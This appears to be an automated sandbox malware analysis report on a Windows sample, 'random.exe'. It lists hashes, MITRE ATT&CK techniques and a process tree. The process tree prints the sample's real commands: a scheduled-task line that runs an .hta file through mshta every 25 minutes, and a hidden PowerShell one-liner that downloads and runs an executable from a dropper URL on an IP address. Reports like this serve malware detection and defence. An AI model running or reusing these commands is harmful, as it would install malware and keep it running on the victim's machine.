2e5e065dd96bc73491747ef2163358f9d8dd21a09f828d3d83adc5cb9a5ddafd

General

Target

random.exe
Size

938KB
MD5

35175480aaf58a493e68cb0adc722d8b
SHA1

2b59ac7beda4cab50a10b0ea9a787c33151cd723
SHA256

2e5e065dd96bc73491747ef2163358f9d8dd21a09f828d3d83adc5cb9a5ddafd
SHA512

18b54f47363bd68636b2bab867226dca0233bceada0c06cc32487a1adcf28dc6003490fe1fe77d2ad25a876a36f0c589d5597b13dd4d1a3182ab6cb68f91f29d
SSDEEP

24576:QqDEvCTbMWu7rQYlBQcBiT6rprG8aejl:QTvC/MTQYxsWR7aej

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://185.215.113.16/defend/random.exe

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	2772	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2772	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
4	2772	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	random.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2356	schtasks.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2772	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2772	powershell.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
2228	random.exe
2228	random.exe
2228	random.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
2228	random.exe
2228	random.exe
2228	random.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2228 wrote to memory of 1628	2228	random.exe	28
PID 2228 wrote to memory of 1628	2228	random.exe	28
PID 2228 wrote to memory of 1628	2228	random.exe	28
PID 2228 wrote to memory of 1628	2228	random.exe	28
PID 2228 wrote to memory of 2900	2228	random.exe	29
PID 2228 wrote to memory of 2900	2228	random.exe	29
PID 2228 wrote to memory of 2900	2228	random.exe	29
PID 2228 wrote to memory of 2900	2228	random.exe	29
PID 1628 wrote to memory of 2356	1628	cmd.exe	31
PID 1628 wrote to memory of 2356	1628	cmd.exe	31
PID 1628 wrote to memory of 2356	1628	cmd.exe	31
PID 1628 wrote to memory of 2356	1628	cmd.exe	31
PID 2900 wrote to memory of 2772	2900	mshta.exe	32
PID 2900 wrote to memory of 2772	2900	mshta.exe	32
PID 2900 wrote to memory of 2772	2900	mshta.exe	32
PID 2900 wrote to memory of 2772	2900	mshta.exe	32

C:\Users\Admin\AppData\Local\Temp\random.exe
"C:\Users\Admin\AppData\Local\Temp\random.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2228
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn ZZnblma67yt /tr "mshta C:\Users\Admin\AppData\Local\Temp\YiwPqh48H.hta" /sc minute /mo 25 /ru "Admin" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1628
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn ZZnblma67yt /tr "mshta C:\Users\Admin\AppData\Local\Temp\YiwPqh48H.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2356
- C:\Windows\SysWOW64\mshta.exe
  mshta C:\Users\Admin\AppData\Local\Temp\YiwPqh48H.hta
  2⤵
  - System Location Discovery: System Language Discovery
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:2900
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'T9HNCV4E6WBQVSR6YNSHFUEL7DZ01DXU.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/defend/random.exe',$d);Start-Process $d;
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2772

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\YiwPqh48H.hta

Filesize
726B

MD5
cd7361028765377852b542abfa1ea516

SHA1
f77f0936df1f33543e0b384f84cb28b2dc96dec2

SHA256
b0da87284876e795854fa9d2c5f04aaeaa31c643ba8ef11e827cbecbb703ceaa

SHA512
ebb41907a8973dcbc627985d073d411c2265eb1cda2bb32922a1d2368fe6d3ae19393249fdf40fec6cf24f438bfb94135909d2cb80c70afcd13aedba6e39b2c8

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads